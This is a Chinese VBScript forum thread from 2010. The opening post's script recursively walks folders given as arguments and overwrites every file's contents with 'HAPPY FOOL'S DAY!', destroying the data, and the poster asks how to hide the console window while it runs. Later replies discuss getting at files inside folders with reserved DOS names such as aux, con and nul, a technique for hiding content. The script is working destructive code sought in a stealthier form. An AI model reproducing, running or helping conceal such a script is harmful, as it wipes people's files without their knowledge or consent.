关于隐藏黑窗口的问题
vbs吧
全部回复
仅看楼主
level 6
EXEC能隐藏黑窗口吗?看着还真不习惯.因为如果要访问特殊文件夹的话只能使用cmd,比如说下面这个东西.
set a=createobject("wscript.shell")
set s=createobject("scripting.filesystemobject")
for each pth in wscript.arguments
del pth
next
sub del(pth)
l=a.exec("cmd /cdir /s/a/b """&pth&"""").stdout.readall
format l
end sub
sub format(x)
b=0
for i=1 to len(x)
b=b+1
if mid(x,b,2)=vbcrlf then
kill left(x,b)&"\"
x=right(x,len(x)-b)
b=0
end if
next
end sub
sub kill(x)
on error resume next
x=replace(x,vbcr,"")
x=replace(x,vblf,"")
if not s.folderexists(x) then
x=left(x,len(x)-1)
if x<>wscript.scriptfullname then
set d=s.getfile(x)
g=d.attributes
d.attributes=0
s.createtextfile(x).write"HAPPY FOOL'S DAY!"
d.attributes=g
end if
end if
end sub
2010年03月07日 09点03分 1
level 6
请大家指点下
2010年03月07日 09点03分 2
level 11
用FSO替代呗。。隐藏恐怕不容易做到。。
2010年03月07日 11点03分 3
level 6
fso怎么做?目前我只能做到求出文件夹的数目,但是不能得到文件夹的名字或路径。如果你会的话能教我吗?
2010年03月10日 03点03分 4
level 11
需要什么功能请说清楚。。
2010年03月11日 12点03分 5
level 6
其实也不难的,主要就是把特殊文件夹名字给弄出来。
比如说现在D:(格式为FAT32)里有一个叫做aux.x的文件夹,在它里面有两个子文件夹分别是“...\”和“com1”,然后在“...\”里有三个文件夹分别是“aux”,"con","nul"。然后在这个文件夹(d:\aux.x)中的某一个子文件夹里面有个文件(文件名字未知),现在要把这个文件找出来,并且复制到D:\S1.txt.
目录树:
d:\aux.x\...\aux\文件
d:\aux.x\...\con\文件
d:\aux.x\...\nul\文件
d:\aux.x\com1\文件
就这些要求
2010年03月12日 03点03分 6
level 6
还有就是aux.x里面的目录结构也是未知的
2010年03月12日 03点03分 7
level 11
啊啊啊。。。我最怕这些文件夹了。。。。
2010年03月12日 06点03分 8
level 6
2010年03月12日 08点03分 9
1